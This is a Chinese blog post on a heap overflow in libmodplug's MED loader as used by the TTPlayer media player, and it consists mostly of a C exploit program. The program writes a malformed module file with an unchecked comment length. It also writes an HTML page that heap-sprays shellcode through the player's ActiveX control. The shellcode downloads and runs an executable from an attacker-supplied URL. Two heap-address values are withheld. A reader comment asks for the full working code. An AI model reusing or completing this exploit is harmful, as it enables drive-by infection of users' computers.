千千静听 med 文件格式堆溢出的成功利用

作者:dummy

上个月看的洞,昨天晚上又重新翻看了一下这个洞,终于看到了成功利用的可能性。
远程和本地攻击最后都可以,本地攻击成功比较低一些,头疼。
详细的利用代码不贴了,详细可以看看 libmod 的源码

下面是远程部分 poc, 2个关键 DWORD 值隐藏了.

代码:
/*
libmodplug v0.8
load_med.cpp
BOOL CSoundFile::ReadMed(const BYTE *lpStream, DWORD dwMemLength)
line 670: memcpy(m_lpszSongComments, lpStream+annotxt, annolen);

千千静听使用的是 libmod 来进行 mod 类文件格式的处理, 此库在 ReadMed 函数中,没有检查
文件描述的长度,如果传递一个恶意构造的值,将导致堆溢出。
现在采用libmod 软件很多,都应该存在此问题。

*/

/*
author: dummy
e-mail: du[email protected]

date: 2008/02/25
*/

#include <windows.h>
#include <stdio.h>

#pragma pack(1)

typedef struct tagMEDMODULEHEADER
{
DWORD id; // MMD1-MMD3
DWORD modlen; // Size of file
DWORD song; // Position in file for this song
WORD psecnum;
WORD pseq;
DWORD blockarr; // Position in file for blocks
DWORD mmdflags;
DWORD smplarr; // Position in file for samples
DWORD reserved;
DWORD expdata; // Absolute offset in file for ExpData (0 if not present)
DWORD reserved2;
WORD pstate;
WORD pblock;
WORD pline;
WORD pseqnum;
WORD actplayline;
BYTE counter;
BYTE extra_songs; // # of songs - 1
} MEDMODULEHEADER;

typedef struct tagMMD0SAMPLE
{
WORD rep, replen;
BYTE midich;
BYTE midipreset;
BYTE svol;
signed char strans;
} MMD0SAMPLE;

// MMD0/MMD1 song header
typedef struct tagMMD0SONGHEADER
{
MMD0SAMPLE sample[63];
WORD numblocks; // # of blocks
WORD songlen; // # of entries used in playseq
BYTE playseq[256]; // Play sequence
WORD deftempo; // BPM tempo
signed char playtransp; // Play transpose
BYTE flags; // 0x10: Hex Volumes | 0x20: ST/NT/PT Slides | 0x40: 8 Channels song
BYTE flags2; // [b4-b0]+1: Tempo LPB, 0x20: tempo mode, 0x80: mix_conv=on
BYTE tempo2; // tempo TPL
BYTE trkvol[16]; // track volumes
BYTE mastervol; // master volume
BYTE numsamples; // # of samples (max=63)
} MMD0SONGHEADER;

typedef struct tagMMD0EXP
{
DWORD nextmod; // File offset of next Hdr
DWORD exp_smp; // Pointer to extra instrument data
WORD s_ext_entries; // Number of extra instrument entries
WORD s_ext_entrsz; // Size of extra instrument data
DWORD annotxt;
DWORD annolen;
DWORD iinfo; // Instrument names
WORD i_ext_entries;
WORD i_ext_entrsz;
DWORD jumpmask;
DWORD rgbtable;
BYTE channelsplit[4]; // Only used if 8ch_conv (extra channel for every nonzero entry)
DWORD n_info;
DWORD songname; // Song name
DWORD songnamelen;
DWORD dumps;
DWORD mmdinfo;
DWORD mmdrexx;
DWORD mmdcmd3x;
DWORD trackinfo_ofs; // ptr to song->numtracks ptrs to tag lists
DWORD effectinfo_ofs; // ptr to group ptrs
DWORD tag_end;
} MMD0EXP;

#pragma pack()

// Byte swapping functions from the GNU C Library and libsdl

/* Swap bytes in 16 bit value. */
#ifdef __GNUC__
# define bswap_16(x) \
(__extension__ \
({ unsigned short int __bsx = (x); \
((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8)); }))
#else
static __inline unsigned short int
bswap_16 (unsigned short int __bsx)
{
return ((((__bsx) >> 8) & 0xff) | (((__bsx) & 0xff) << 8));
}
#endif

/* Swap bytes in 32 bit value. */
#ifdef __GNUC__
# define bswap_32(x) \
(__extension__ \
({ unsigned int __bsx = (x); \
((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) | \
(((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24)); }))
#else
static __inline unsigned int
bswap_32 (unsigned int __bsx)
{
return ((((__bsx) & 0xff000000) >> 24) | (((__bsx) & 0x00ff0000) >> 8) |
(((__bsx) & 0x0000ff00) << 8) | (((__bsx) & 0x000000ff) << 24));
}
#endif

#ifdef WORDS_BIGENDIAN
#define bswapLE16(X) bswap_16(X)
#define bswapLE32(X) bswap_32(X)
#define bswapBE16(X) (X)
#define bswapBE32(X) (X)
#else
#define bswapLE16(X) (X)
#define bswapLE32(X) (X)
#define bswapBE16(X) bswap_16(X)
#define bswapBE32(X) bswap_32(X)
#endif

#define FILE_SIZE_ 0x30000
// 远程攻击
#if 0
// 成功率很低
#define NOP_ "\"%u090a?\""
#define HEAP_ADDR_ 码
#else
// 成功率很高
#define NOP_ "\"邐邐\""
#define HEAP_ADDR_ 码

#endif

const unsigned char shellcode[174] =
{
// 必须是偶数大小
0xE8, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x03, 0xEB, 0x21, 0x7E, 0xD8, 0xE2, 0x73, 0x98, 0xFE, 0x8A,
0x0E, 0x8E, 0x4E, 0x0E, 0xEC, 0x55, 0x52, 0x4C, 0x4D, 0x4F, 0x4E, 0x00, 0x00, 0x36, 0x1A, 0x2F,
0x70, 0x63, 0x3A, 0x5C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x59, 0x5F, 0xAF, 0x67, 0x64, 0xA1,
0x30, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x68, 0x08, 0x51, 0x8B, 0x75, 0x3C,
0x8B, 0x74, 0x2E, 0x78, 0x03, 0xF5, 0x56, 0x8B, 0x76, 0x20, 0x03, 0xF5, 0x33, 0xC9, 0x49, 0x41,
0xAD, 0x03, 0xC5, 0x33, 0xDB, 0x0F, 0xBE, 0x10, 0x38, 0xF2, 0x74, 0x08, 0xC1, 0xCB, 0x0D, 0x03,
0xDA, 0x40, 0xEB, 0xF1, 0x3B, 0x1F, 0x75, 0xE7, 0x5E, 0x8B, 0x5E, 0x24, 0x03, 0xDD, 0x66, 0x8B,
0x0C, 0x4B, 0x8B, 0x5E, 0x1C, 0x03, 0xDD, 0x8B, 0x04, 0x8B, 0x03, 0xC5, 0xAB, 0x59, 0xE2, 0xBC,
0x8B, 0x0F, 0x80, 0xF9, 0x63, 0x74, 0x0A, 0x57, 0xFF, 0xD0, 0x95, 0xAF, 0xAF, 0x6A, 0x01, 0xEB,
0xAC, 0x52, 0x52, 0x57, 0x8D, 0x8F, 0xDB, 0x10, 0x40, 0x00, 0x81, 0xE9, 0x4E, 0x10, 0x40, 0x00,
0x51, 0x52, 0xFF, 0xD0, 0x6A, 0x01, 0x57, 0xFF, 0x57, 0xEC, 0xFF, 0x57, 0xE8, 0x90
};

const char* script1 = \
"<html><body><object id=\"ttp\" classid=\"clsid:89AE5F82-410A-4040-9387-68D1144EFD03\"></object><script>"
"var sc=unescape(\"";
const char* script2 = \
"\");"
"fb=unescape(" NOP_ ");"
"while(fb.length<0x30000)fb+=fb;"
"m=new Array();"
"for(x=0;x<400;x++)m[x]=sc+fb+sc;"
"setTimeout(\'ttp.URL=\"";
const char* script3 = \
"\";ttp.controls.play();\', 3);</script>"
"</body>"
"</html>";

void make_med_file(const char* path)
{
MEDMODULEHEADER mmh;
MMD0SONGHEADER msh;
MMD0EXP mex;
FILE* file;
long p;

memset(&mmh, 0, sizeof (mmh));
memset(&msh, 0, sizeof (msh));
memset(&mex, 0, sizeof (mex));

p = 0;

mmh.id = 0x30444D4D; // version = '0'

p += sizeof (MEDMODULEHEADER);
mmh.song = bswapBE32(p);

p += sizeof (MMD0SONGHEADER);
mmh.expdata = bswapBE32(p);

p += sizeof (MMD0EXP);
mex.annolen = bswapBE32(-1);
mex.annotxt = bswapBE32(p);

file = fopen(path, "wb+");
if ( file == NULL )
{
printf("create file failed!\n");
exit(0);
}
else
{
fwrite(&mmh, 1, sizeof (mmh), file);
fwrite(&msh, 1, sizeof (msh), file);
fwrite(&mex, 1, sizeof (mex), file);

while ( ftell(file) < FILE_SIZE_ )
{
fwrite(HEAP_ADDR_, 1, 4, file);
}

fclose(file);
printf("successed!\n");
}
}

void make_htlm_file(const char* htmlpath, const char* s3mpath, const char* url)
{
FILE *file = fopen(htmlpath, "w+");
if ( file == NULL )
{
printf("create '%s' failed!\n", htmlpath);
exit(0);
}

fprintf(file, "%s", script1);
for ( unsigned i = 0; i < sizeof (shellcode); i += 2 )
fprintf(file, "%%u%02X%02X" , shellcode[i + 1], shellcode[i]);

const unsigned l = strlen(url);
for ( unsigned j = 0; j < l; j += 2 )
fprintf(file, "%%u%02X%02X" , url[j + 1], url[j]);

fprintf(file, "%s%s%s", script2, s3mpath, script3);
fclose(file);

printf("make '%s' successed!\n", htmlpath);
}

int main(int argc, char* argv[])
{
printf("ttplayer stack exp poc by [email protected]\n");
if ( argc <= 1 )
{
printf("need argv!(ex: %s http://xxx.xxx/xx.exe\n", argv[0]);
return -1;
}

printf("+ make_med_file...\n");
make_med_file("c:\\shit.s3m");

printf("+ make_htlm_file...\n");
make_htlm_file("poc.html", "c://shit.s3m", argv[1]);

printf("done.\n");

return 0;
}

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  • 一疒亻

    我看了您这文章,也跟踪了您好几篇这样的文章,我一直未果的事情是:您能不能把完整的代码发出来,我确切需要,这几日来我对千千的这个溢出着了迷一样,一直在想它,但是因为水平不够,我真不能写出有效的代码,希望您能不禀赐教,谢谢

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